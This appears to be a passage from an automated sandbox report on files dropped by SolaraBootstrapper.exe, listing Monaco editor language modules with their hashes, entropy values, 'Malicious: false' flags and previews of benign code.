d={comments:{lineComment:"REM"},brackets:[["{"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\bicep\bicep.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1734)
Category:	dropped
Size (bytes):	3361
Entropy (8bit):	5.304593500233218
Encrypted:	false
SSDEEP:	96:pQFDHnYRsg/17Xl0E6r/V1+mQEV1+gqJyq1ee9Vsv0Z91a5adS:G9Y30E6r3TJQdVsv0Zra5adS
MD5:	4664FB176151E58A2D4796B6327FCAE6
SHA1:	61049BF36E9D26D94A439772F6B121847B483774
SHA-256:	138890BB900C772B9CD85A6A880A4C3834D4CF69FE60A7DB4F0ED5AC6A6036CA
SHA-512:	253F9EC3F72D5D7B77DA147361ADBB1A7F3F1F3EFF55454D837CEFC0F49B4292B5C7CE466BB469A6BA48EF9EA8F59228B03588EFC2028299D7228789B8B88456
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/bicep/bicep", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var g=(e,n)=>{for(var o in n)r(e,o,{get:n[o],enumerable:!0})},l=(e,n,o,i)=>{if(n&&typeof n=="object"\|\|typeof n=="function")for(let t of c(n))!a.call(e,t)&&t!==o&&r(e,t,{get:()=>n[t],enumerable:!(i=s(n,t))\|\|i.enumerable});return e};var m=e=>l(r({},"__esModule",{value:!0}),e);var y={};g(y,{conf:()=>$,language:()=>w});var p=e=>`\\b${e}\\b`,k="[_a-zA-Z]",x="[_a-zA-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cameligo\cameligo.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2507)
Category:	dropped
Size (bytes):	3016
Entropy (8bit):	5.258687166883505
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsdC+/EOHgUr5Xz0V1+hmQ/Y0V1+hmQ/Ogkq1c0VqYAy7TJq1xFiW9:pQFDHnYRs8+/EVUrmV1+hmQ/XV1+hmQa
MD5:	64C2F717418FCEE34DDC32E4AE0AEEB5
SHA1:	F2F8D5D092EDBE8DF25DA12142E25DAC50CF6744
SHA-256:	9C69C0623EAA0C03D7268F7B640E7B1E4A7613168FB7453E1DF44D918D20D37C
SHA-512:	A0BAB29F1D07C04E9980F11AA4080D6029FFA975449254B91A0F7B59272CFCA72DB05A261614C1BD4356E798E9DFD6A6A912ADD5D862AEB6769C646A7A5971CD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cameligo/cameligo", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},m=(o,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(o,t)&&t!==n&&s(o,t,{get:()=>e[t],enumerable:!(r=i(e,t))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\clojure\clojure.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9965)
Category:	dropped
Size (bytes):	10472
Entropy (8bit):	4.885229389881109
Encrypted:	false
SSDEEP:	192:G9YW897PKZLQ3xN//F3kxVrpHJJJbs+b9N1FhbZDbBPjwnIHUB1:Gd85PKZLQvZkxVdp3XbLhZtwnI0
MD5:	A477AC7FA29FA1D433C807B0D51AA453
SHA1:	CACC81F6218791005258647F27D4248E39529007
SHA-256:	F518EDBD296F40149368695CFD50BAD56C40D3E98648D4BCB24FB887DF0763B6
SHA-512:	9CC4E9653F73B55B143E8AB4D9C3FCED9817FDAF4D6CAD45D488D409F4853567BCA3F5BB1387072CA388171B8861300FFA25B239A8594D4F024D8E31EC654C2F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/clojure/clojure", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var r in e)a(t,r,{get:e[r],enumerable:!0})},l=(t,e,r,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!c.call(t,n)&&n!==r&&a(t,n,{get:()=>e[n],enumerable:!(s=o(e,n))\|\|s.enumerable});return t};var p=t=>l(a({},"__esModule",{value:!0}),t);var h={};d(h,{conf:()=>u,language:()=>m});var u={comments:{lineComment:";;"},bracket

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\coffee\coffee.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3912)
Category:	dropped
Size (bytes):	4417
Entropy (8bit):	5.3163232411791554
Encrypted:	false
SSDEEP:	96:pQFDHnYRsX+/EZQI0xqmV1+/0V1+/Zq1S8YLYGbSiv5vjmtMzkJgd+fcAr6fPlZ:G9YIgqix7iiihjmtykJbcAr6fX
MD5:	C7530C18128C1C16EE01A2C9AA5AD5CD
SHA1:	39036D2CAF933BB3208C02FDFD918FCEF5366640
SHA-256:	B71FA40D1DFCF8A0A4A1D9741BDCB480ED427F6449D504039CF0D6DA230CD5B9
SHA-512:	80D6AB3A7ABFA49677CB01874FE621161D6428D117E597DB5A6E5A4D7A3346E5FEDADD0E38F77B1D74A11C3A42524946BC2AC3B57C92956D7D7A71A4ECE4AF60
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/coffee/coffee", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},p=(n,e,t,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of g(e))!a.call(n,r)&&r!==t&&s(n,r,{get:()=>e[r],enumerable:!(o=i(e,r))\|\|o.enumerable});return n};var c=n=>p(s({},"__esModule",{value:!0}),n);var m={};l(m,{conf:()=>d,language:()=>x});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cpp\cpp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5800)
Category:	dropped
Size (bytes):	6299
Entropy (8bit):	5.239106668769126
Encrypted:	false
SSDEEP:	96:pQFDHnYRsNm+/ETPHSrbV1+gqVV1+/GVb9ZRC2seM6jjz1NMwVcEghhbac7bwwGp:G9YEufSrTOjVv5M6bh8hlHwiYg19c
MD5:	5CB18F40121375F10F0A877FE2655952
SHA1:	370CF78EAFCC875D9D8E34FC8B699CEA67CC2AEA
SHA-256:	F6F92ABE974F9338086148C8B0A60FB565AE6EDD9246B676FA9D0035F4E8D9EB
SHA-512:	71BBAD229EEC49FFA610032A0BE07A8B72DF9EF819CA70FD25C1D8CF7053CED441F9125F26878D0562023417CFDC4C98BB3A31D02A6157CE4EB14276B640FD4C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cpp/cpp", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var _=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of s(e))!_.call(n,t)&&t!==i&&r(n,t,{get:()=>e[t],enumerable:!(o=a(e,t))\|\|o.enumerable});return n};var d=n=>l(r({},"__esModule",{value:!0}),n);var g={};c(g,{conf:()=>p,language:()=>m});var p={comments:{lineComment:"//",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\csharp\csharp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4846)
Category:	dropped
Size (bytes):	5351
Entropy (8bit):	5.216370494496688
Encrypted:	false
SSDEEP:	96:pQFDHnYRs8+/E8sx+rbV1+gqGV1+hmQjq1cBh8bnj8/pLxb6J994wGcKU7dYIkeC:G9Yv+rTtP1upw9SiKUJGv
MD5:	7C9B741F42178B079747027A06462053
SHA1:	B3E1D9DE364DD2AECD5DABA0946A4AAFF1A7312E
SHA-256:	28A25E9B68E5F0C3AF4BD163E1AAC554BAB89078770DFCABA0A63A4B5B8A2543
SHA-512:	E0CA6E84440B806D853A8B38EA4154E8F9846F75E8A1D5E472F351C7358A3B3A19FECFE8133114C864C8B439DF1760C04840D6542A8E7FB2FDA019458220A608
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/csharp/csharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},p=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return t};var g=t=>p(s({},"__esModule",{value:!0}),t);var u={};l(u,{conf:()=>d,language:()=>m});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\csp\csp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1741)
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.22208525490407
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs1hV//EXHNTs/6meb64u43IbLRhFLYDbA:pQFDHnYRs1hV//EXNOeb64f6EbA
MD5:	9968CD8D1FF81B94983401B7C5BC68CF
SHA1:	CC830B8D497ABBC54123BF31D3BA77AC6ABC97F8
SHA-256:	082EB55C25CC428C596B69D8024EB8AD5932FD556D47FDB4696124086AF3CB28
SHA-512:	B4D5E7A77F58D724A619430D6BD4B04384B89F6A4B98B13215D2E89C06BBF4B20264E9271D1DF330C25C7070F886FD2A3874DE1E57B82BC7CAF860D6F88A426C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/csp/csp", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var a=(r,t)=>{for(var s in t)o(r,s,{get:t[s],enumerable:!0})},c=(r,t,s,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let e of u(t))!g.call(r,e)&&e!==s&&o(r,e,{get:()=>t[e],enumerable:!(n=i(t,e))\|\|n.enumerable});return r};var q=r=>c(o({},"__esModule",{value:!0}),r);var p={};a(p,{conf:()=>f,language:()=>l});var f={brackets:[],autoClosingPairs:[],surrounding

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\css\css.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2086)
Category:	dropped
Size (bytes):	5331
Entropy (8bit):	5.251960077024982
Encrypted:	false
SSDEEP:	96:pQFDHnYRsG+/EPumYzIq+q17qcq6V1+/TMj1cqTroIrqjAfF3l5XY0JK:G9YLDYzv9CmjoMfF33XbJK
MD5:	E0809107E35A0192F33AD03C3AB08ABE
SHA1:	3C058A89DF1C0A6B208D48796EDD207239FD3013
SHA-256:	ED689DC48B3A5C75D3F4088B87501B28C69EA53D94BD4D195439B9D0B0125240
SHA-512:	A7D534EE62EE3381547E22EAF23B8BD9F9A12B230EEB9D6391AFBEA69DAEDF73BF0A3E2AC4FBBE3E386698DB3B73674473D691F0B2CE566DD8AB012FCB5C3EEE
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/css/css", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var m=(t,e)=>{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},c=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!l.call(t,n)&&n!==o&&r(t,n,{get:()=>e[n],enumerable:!(i=a(e,n))\|\|i.enumerable});return t};var d=t=>c(r({},"__esModule",{value:!0}),t);var k={};m(k,{conf:()=>u,language:()=>p});var u={wordPattern:/(#?-?\d\.\d\w%?)\|((::\|[@#.!:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cypher\cypher.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3707)
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.371981411047698
Encrypted:	false
SSDEEP:	96:pQFDHnYRsaL+/EQmrbV1+/mQcV1+/mQpj1jCpRrBafRVxpVC7Qsl:G9YHdrT1x1kjCLrUZL2P
MD5:	F632F554049CE3CA0D264A0ABB02906C
SHA1:	A0A2664DD3EA31DA925AA0EA68D672E648097ADB
SHA-256:	9F9251788F10C3F0BB4EB811CE6A7F5AD8DB7BBEE057B76A77C77C2421FDAAE1
SHA-512:	12F0A0327833F356AB434301DCF3D1F38628C77B10B82E1BF1DD6F0E77097BD50F396AD6D66390E24C696C8CF4EE2B1F5A48D2DD2FBC85AED0DB5967B0A64D45
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cypher/cypher", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(i,e)=>{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},g=(i,e,n,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(i,t)&&t!==n&&s(i,t,{get:()=>e[t],enumerable:!(o=r(e,t))\|\|o.enumerable});return i};var p=i=>g(s({},"__esModule",{value:!0}),i);var u={};c(u,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\dart\dart.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4572)
Category:	dropped
Size (bytes):	5073
Entropy (8bit):	5.322308379025634
Encrypted:	false
SSDEEP:	96:pQFDHnYRsW+/EFrbV1+gqKIqHV1+hmQ1+/GuKkxLiXb6IosPt2wpc3luSW720/:G9YBrTTP4mBc2dsSW7L
MD5:	24E97F371A7EDD0923399C3301F7D123
SHA1:	139B20C81784B4453FDFA5BF8E364C51155865B3
SHA-256:	DA7EF3DEE2FA6414326FF00BFC0417D107D51BAEDFE57389E59058072A00020C
SHA-512:	15A737D3A531253B7CAB0B9A71D5BF2D35017A63135F854237B5F1DF45D50E5C0F3F944ABD5BCEF8BCFFFEC3C4F4BF9736ECBBCB42DCD55B375EF4DBA02996F4
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/dart/dart", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var p=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},g=(n,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of c(e))!a.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return n};var l=n=>g(r({},"__esModule",{value:!0}),n);var x={};p(x,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\dockerfile\dockerfile.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2191)
Category:	dropped
Size (bytes):	2704
Entropy (8bit):	5.455268695879549
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsnq+/ETQXHFUb0Ar0V1+/n0V1+/pfo71m4SKoemBjrBrOuWI5w3I+:pQFDHnYRsq+/Ecr7V1+/0V1+/pfoOhR2
MD5:	A51BAE8524A9B4623E57F5B1A69DD9E1
SHA1:	686C6F915FFB7EA23DF8E3D6846288A615C144A2
SHA-256:	5BFE103714FF8153914DAA7C1CC066D59DAB07CA7388D15098D650149EE3BE74
SHA-512:	D5070B4206DEE6241F3C427CAF1938781A6AA664A82F546574F3536FF97DB9682D0DE18A8BF46CB5A9A911B38487D16DD8C4F2AABEFAA0BEF34F5FD33B0DBEC2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/dockerfile/dockerfile", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var p=(o,e)=>{for(var s in e)a(o,s,{get:e[s],enumerable:!0})},g=(o,e,s,t)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!i.call(o,n)&&n!==s&&a(o,n,{get:()=>e[n],enumerable:!(t=l(e,n))\|\|t.enumerable});return o};var c=o=>g(a({},"__esModule",{value:!0}),o);var k={};p(k,{conf:()=>u,language:()=>d});var u={brackets:[["{","}"],["[","]"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ecl\ecl.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5664)
Category:	dropped
Size (bytes):	6163
Entropy (8bit):	4.934188303263368
Encrypted:	false
SSDEEP:	192:G9Y/rTtPcbYHAcX4vLXC2/U9w+JXuHN+i56:GOrTtPcbYHvXyLcWcXuHN+i56
MD5:	2CD641F99D4723ADCA2299186E67455B
SHA1:	5ED74D0D63E4AAE25387D0111B7A33C2906D8C92
SHA-256:	9CE97CCF4768AF38976D051504B59DC37B65F56D8BCB638B97D6A82CDA4E1B79
SHA-512:	0306CCDFCCE65A703F5115B13CE0ACC56E7855579BC6CA218D0C87891E97882E21186C38B3429A077F5355FE9711E302FC3D9517C63DACE2271440B1242DFF2C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ecl/ecl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)r(o,t,{get:e[t],enumerable:!0})},d=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!l.call(o,n)&&n!==t&&r(o,n,{get:()=>e[n],enumerable:!(a=i(e,n))\|\|a.enumerable});return o};var p=o=>d(r({},"__esModule",{value:!0}),o);var g={};c(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\elixir\elixir.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (10579)
Category:	dropped
Size (bytes):	11084
Entropy (8bit):	5.324445265410224
Encrypted:	false
SSDEEP:	192:G9YZ+uT4pKAnTNGZ70U+6ODfDG6g4KlDItrkekkqamfP7OF/ExZKxOMy56L4dT/q:Gm+uT4n2+PPV9+DItruao2f
MD5:	E0AB738DD28FB6FA3C3DFD4879A8B930
SHA1:	4062CE2854028385D0E4507AC0AB77CB0FFAA329
SHA-256:	0494EA6B17F3F6E2E088DBC9001AAF77D742D757867263D8B0E5FB432B31A2A5
SHA-512:	0C2BD491B70AFB05261FC1CDB05BFC588D82A05B9695F9C00CDE6EC885858133DE11F95251C8B36D5107B9B68AB94F35415A0D8D8B2D0BDCEC312D100CA9FF45
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/elixir/elixir", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},c=(t,e,i,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!a.call(t,n)&&n!==i&&o(t,n,{get:()=>e[n],enumerable:!(r=l(e,n))\|\|r.enumerable});return t};var m=t=>c(o({},"__esModule",{value:!0}),t);var p={};d(p,{conf:()=>u,language:()=>g});var u={comments:{lineComment:"#"},brackets:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\flow9\flow9.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2132)
Category:	dropped
Size (bytes):	2635
Entropy (8bit):	5.352095130632229
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsumU+/EVHg+2rQ6MnQn11nWn6b0V1+/mQgTCFd1KhMmVZUbF+WwSo:pQFDHnYRsM+/EeRraY1JKBV1+/mQKIzg
MD5:	EF8BA0EA3AE910695528D18376C8951C
SHA1:	EADBA0FEE009E89CDF57CBE2AFC8A66683399776
SHA-256:	8EB1690C57D0F458D66E89A57E2ABA95E6375EE9FEF3E7AB5ECA9FFA0B3EAB7D
SHA-512:	32B51088DC171F4255C4EA44AE9A9BB67628ED37437E848106420C35501066F1E3EA8AF8295A3F949959D565D7388744E35BD76530621E1A0591A4BEDC8DB46F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/flow9/flow9", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>g,language:()=>f});var g={comments:{blockComment:["/","/"],line

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\freemarker2\freemarker2.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (13644)
Category:	dropped
Size (bytes):	17189
Entropy (8bit):	5.52256186558295
Encrypted:	false
SSDEEP:	192:G9YRwoBu4Tu4MhBDPfFSNki1bfqpi+R/MFxHaMRhoeStMvcqgjj0y0+gblJvsqjd:Ggu4Tu4MnfFuki5fsi+OLHu5usqjd
MD5:	7D11611975C17C851783E146DDAA9085
SHA1:	C63D19E6599D7CCCA45C89DB1B71B76B6EA9E67B
SHA-256:	454CE0EB30379A348562CBD10B361EA37DCD787E144F9EABB05F977A01C1996F
SHA-512:	F11622EEF9042B5B151C10F765F1DD0DD212D429B8073F25CBFB23C6B2D297ECC489BD55AC5784735447F4DA75FEDD83343D49DDC31726DCE4F42B519785394D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/freemarker2/freemarker2", ["require","require"],(require)=>{.var moduleExports=(()=>{var B=Object.create;var d=Object.defineProperty;var C=Object.getOwnPropertyDescriptor;var D=Object.getOwnPropertyNames;var T=Object.getPrototypeOf,v=Object.prototype.hasOwnProperty;var w=(t=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(t,{get:(n,i)=>(typeof require!="undefined"?require:n)[i]}):t)(function(t){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+t+'" is not supported')});var h=(t,n)=>()=>(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\fsharp\fsharp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3305)
Category:	dropped
Size (bytes):	3810
Entropy (8bit):	5.293056647445291
Encrypted:	false
SSDEEP:	96:pQFDHnYRssQ+/ErryV1+IV1+/P6dL4a5Ag7xwGGBdFXhM:G9YZurOjYcsgFaRM
MD5:	00B4EF63492498C77FE94756722C677E
SHA1:	CB23E1FA4567E7F5E02C13FE52FDBDCF766B97C2
SHA-256:	2E6B617140B6D195F890488759776DA4071506F27AC5719C1EE2F8EC5FFD0EE5
SHA-512:	044BD6B2FD88F075D68166881DB86C90D9B35D74ED646BB50927D7B0A8F0820EEA9009490BABD683832EFC44AF9F917B8DCAD2CB0602E43DE7EED8077C170862
Malicious:	false
